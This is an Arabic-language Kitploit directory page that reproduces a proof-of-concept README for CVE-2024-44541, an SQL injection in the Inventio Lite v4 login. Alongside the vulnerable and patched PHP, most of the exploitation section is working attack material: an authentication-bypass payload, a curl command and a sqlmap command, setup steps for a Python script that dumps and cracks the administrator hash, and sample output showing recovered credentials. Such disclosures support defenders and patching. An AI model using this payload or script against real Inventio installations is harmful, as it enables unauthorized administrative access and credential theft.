Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2024-44541 — يستعرض هذا المستودع ثغرة حقن SQL في Inventio Lite v4، بما في ذلك خطوات الاستغلال ونصًا برمجيًا بلغة Python لأتمتة الهجوم. كما يوفر معلومات حول الكود المعرّض للخطر، والإصلاحات الموصى بها، وكيفية استخراج وفك تشفير بيانات اعتماد المسؤول. | Kitploit
أدوات/GitHubGitHub/pointedsec/cve-2024-44541
كسر كلمات المرورتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubpointedsec/cve-2024-44541

CVE-2024-44541

يستعرض هذا المستودع ثغرة حقن SQL في Inventio Lite v4، بما في ذلك خطوات الاستغلال ونصًا برمجيًا بلغة Python لأتمتة الهجوم. كما يوفر معلومات حول الكود المعرّض للخطر، والإصلاحات الموصى بها، وكيفية استخراج وفك تشفير بيانات اعتماد المسؤول.

عرض المستودع
منذ سنة واحدةلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2024-44541: ثغرة حقن SQL في Inventio Lite v4

الوصف

Inventio Lite v4 عرضة لحقن SQL (SQLi) في نقطة النهاية /action=processlogin. تسمح هذه الثغرة للمهاجمين بحقن استعلامات SQL عشوائية عبر معامل username في طلبات POST، مما قد يؤدي إلى وصول غير مصرح به واستخراج البيانات.

الكود المعرض للثغرة

الكود المعرض للثغرة هو كما يلي:

root@kitploit:~
if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();
    $sql = "select * from user where (email= \"".$user."\" or username= \"".$user."\") and password= \"".$pass."\" and is_active=1";
    $query = $con->query($sql);
    $found = false;
    $userid = null;
    while($r = $query->fetch_array()){
        $found = true;
        $userid = $r['id'];
    }
}

لقطة شاشة للكود المعرض للثغرة: Vulnerable Code

الكود المُصلَح

تم إصلاح المشكلة باستخدام عبارات محضّرة (Prepared Statements):

root@kitploit:~
if(!isset($_SESSION["user_id"])) {
    $user = $_POST['username'];
    $pass = sha1(md5($_POST['password']));

    $base = new Database();
    $con = $base->connect();

    // Prepare the query
    $stmt = $con->prepare("
        SELECT * FROM user 
        WHERE (email = ? OR username = ?) 
        AND password = ? 
        AND is_active = 1
    ");

    // Bind parameters
    $stmt->bind_param("sss", $user, $user, $pass);

    // Execute query
    $stmt->execute();

    // Get result
    $result = $stmt->get_result();
    $found = false;
    $userid = null;

    while($r = $result->fetch_assoc()){
        $found = true;
        $userid = $r['id'];
    }

    // Close statement
    $stmt->close();
}

الاستغلال

حمولة تجاوز المصادقة

لاستغلال هذه الثغرة، استخدم الحمولة التالية:

root@kitploit:~
user -> ") or 1=1-- - 
pass -> blablalba

مثال على الهجوم باستخدام curl:

root@kitploit:~
$ curl -X POST http://192.168.1.51/inventio-lite/?action=processlogin -d 'username=%22%29%20or%201%3D1--%20-&password=blablabla' -v && echo ""

مثال SQLMap

root@kitploit:~
$ sqlmap -u http://192.168.1.51/inventio-lite/?action=processlogin --data="username=*&password=*" --level 5 --risk 3 --dbms=mysql --dbs --prefix='")' --batch --dbs

سكريبت الاستغلال

لأتمتة الاستغلال واستخراج اسم المستخدم وتجزئة كلمة مرور المسؤول، يمكنك استخدام سكريبت بايثون المرفق sqli.py.

يمكنك استنساخ هذا المستودع

root@kitploit:~
git clone https://github.com/pointedsec/CVE-2024-44541

ثم قم بتثبيت المتطلبات باستخدام pip

root@kitploit:~
pip install -r requirements.txt

عدّل المتغيرات التالية في السكريبت حسب الحاجة:

  • BASE_URL = "http://192.168.1.51/inventio-lite/"
  • PWD_DIC_PATH = "/usr/share/wordlists/rockyou.txt"

ثم نفّذ السكريبت، حيث سيقوم بتفريغ اسم مستخدم المسؤول والتجزئة، ثم يحاول كسر التجزئة باستخدام صيغة SHA1(MD5(password)).

مثال على الإخراج:

root@kitploit:~
$ python3 sqli.py 
[*] Checking if target is vulnerable
[+] Target Vulnerable!
[*] Dumping Administrator username...
[◤] Extracting Username: -> [email protected]
[/] Extracting Admin Password Hash: Final Admin Hash: 90b9aa7e25f80cf4f64e990b78a9fc5ebd6cecad
[+] Password Decrypted! -> [email protected]:admin
[*] Try to Log In with that username, if that doesn't work, try with some uppercase/lowercase combinations

التأثير

السرية: يمكن للمهاجمين تفريغ قاعدة البيانات بالكامل، مما يعرض بيانات حساسة مثل بيانات اعتماد المستخدمين والمعلومات الشخصية.

السلامة: يمكن للمهاجمين تجاوز المصادقة والحصول على وصول إداري، مما يسمح لهم بتعديل البيانات أو حذفها.

المراجع

  • Inventio Lite GitHub Repository
  • https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2024-44541
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-44541
  • https://nvd.nist.gov/vuln/detail/CVE-2024-44541

الاعتمادات

تم تحديد هذه الثغرة بواسطة Andrés Del Cerro. لمزيد من التفاصيل، يرجى التواصل معي عبر [email protected]


تنزيل الأداة